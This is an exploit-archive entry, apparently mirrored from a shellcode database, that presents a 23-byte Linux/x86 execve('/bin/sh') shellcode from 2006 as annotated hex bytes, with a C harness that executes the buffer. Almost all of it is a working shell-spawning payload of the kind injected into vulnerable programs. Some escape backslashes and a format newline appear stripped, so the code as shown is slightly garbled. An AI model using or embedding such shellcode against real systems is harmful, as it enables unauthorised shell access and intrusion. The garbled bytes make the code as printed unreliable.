[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : linux/x86 execve("/bin/sh", ["/bin/sh", NULL]) 23 bytes
# Published : 2006-04-03
# Author : Gotfault Security
# Previous Title : linux/x86 execve("/bin/sh", ["/bin/sh", NULL]) 25 bytes
# Next Title : linux/x86 setuid(0) + execve("/bin/sh", ["/bin/sh", NULL]) 31 bytes
/*
* linux-x86-binshv2.c - 23 bytes
* Copyright (c) 2006 Gotfault Security <xgc@gotfault.net>
*
* (Linux/x86) execve("/bin/sh", ["/bin/sh", NULL])
*
*/
char shellcode[] =
"x6ax0b" // push $0xb
"x58" // pop %eax
"x99" // cltd
"x52" // push %edx
"x68x2fx2fx73x68" // push $0x68732f2f
"x68x2fx62x69x6e" // push $0x6e69622f
"x89xe3" // mov %esp, %ebx
"x52" // push %edx
"x53" // push %ebx
"x89xe1" // mov %esp, %ecx
"xcdx80"; // int $0x80
int main() {
int (*f)() = (int(*)())shellcode;
printf("Length: %un", strlen(shellcode));
f();
}
// www.Syue.com [2006-04-03]